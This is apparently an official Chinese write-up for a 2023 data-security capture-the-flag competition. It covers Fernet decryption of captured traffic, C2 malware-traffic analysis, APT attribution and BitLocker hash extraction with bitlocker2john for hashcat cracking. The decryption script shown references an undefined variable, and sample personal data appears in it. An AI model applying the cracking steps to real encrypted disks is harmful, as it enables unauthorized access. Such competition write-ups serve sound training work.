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....A......'
    Key_Brute(data)

解密之后的流量为:

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

数据分析

fernet

加密密钥:0smJ2LvvnQonNICFpjOF8CeuOcMIuYLNVbCDucWSVaw=

加密密钥:qkwNBcGK7ZcOrlKKcflivlyiatdAsb2u_sH_-IB5R_Y=

加密密钥:Erj5UoZfpxT47Bjpg8qg1XmMCKZyKBj1bJ0otszVZPk=

加密密钥:eBp92fUD7Lk_6qXR2pIjFt3sBH-lW0ul830S-sO6QCQ=

加密密钥:Z-Ur0AYZQ9-nNO_O6j5B1slASR-YR2tsssycqHNc_so=

加密密钥:Aj0S2EgsjOFd_JRsOjcBB_5-fZ1H-9tZVF67-qOWCbw=

加密密钥:n6IcHjmQUNOd6TxOkV6WRigEPUZFkO2TIu8cS6MRyrE=

根据残留的py文件编写解密脚本

from cryptography.fernet import Fernet

def decrypt(message, key):
    de = Fernet(key)
    return de.decrypt(message).decode()

key = b'Aj0S2EgsjOFd_JRsOjcBB_5-fZ1H-9tZVF67-qOWCbw='

en_message = b"gAAAAABkGd8XcSlgJAe3AbvJZE2ZGlcIusUkEWW6pnSHAGjaOonQrDh2cCmk4wkszBZfoqhsEZLvoPdcnsz9QADAwV9rDyhrzvgM8-lw2wwsa56_oaEWJli1T5IMmORjSedtQjI1wm0Y"

de_message = decrypt(en_message, key)
print(f"{decrypted_message}")

#张三,男,340303202304025872,13333333333
#md5(张三_男_340303202304025872_13333333333)=826767ee8c24f97f92e46028825d83c6

将三段放入对应的脚本中解密

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

data:image/png;base64,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

处理图片

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

C2流量分析

打开流量包,可以看见下载恶意文件的流量:

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

我们可以将恶意样本提取下来,放在本地通过Powershell的Get-FileHash来计算其Hash值:

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

Payload在kill k4.exe后,执行的命令是

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

Payload中需要Base64解码的cmd命令一共有3个

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

区块链威胁分析

将APP上传至VT即可看见Team Identifier:

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

通过Team Identifier去搜索相关信息,找到如下报告,也就锁定了目标APT组织:

CISA发布了 Lazarus 的TraderTraitor针对加密货币公司的行动
https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-108a

挑战区

被隐藏的密码

使用 DiskGenius 打开对应磁盘

官方WP|2023数字中国·数据安全产业人才能力挑战赛初赛

发现被BitLocker加密了,尝试用hashcat解密

# bitlocker2john -i attachment.vhd 

Encrypted device attachment.vhd opened, size 2048MB

Signature found at 0x10003
Version: 8 
Invalid version, looking for a signature with valid version...

Signature found at 0x22abb000
Version: 2 (Windows 7 or later)

VMK entry found at 0x22abb0b7

VMK encrypted with Recovery Password found at 0x22abb0d8
Salt: 714871bbeff0de9c53553a6a7626e96c
Searching AES-CCM from 0x22abb0f4
Trying offset 0x22abb187....
VMK encrypted with AES-CCM!!
RP Nonce: b05b5b45f43dd90106000000
RP MAC: 27d2d71fefc272350cda1056d2ab5476
RP VMK: 543996c5896643a2f63fce7df2a9052d964a41794677389926c2a81f4bf7cdf22e04df181aa9d03a5b3d7461


VMK entry found at 0x22abb243

VMK encrypted with User Password found at 22abb264
VMK encrypted with AES-CCM
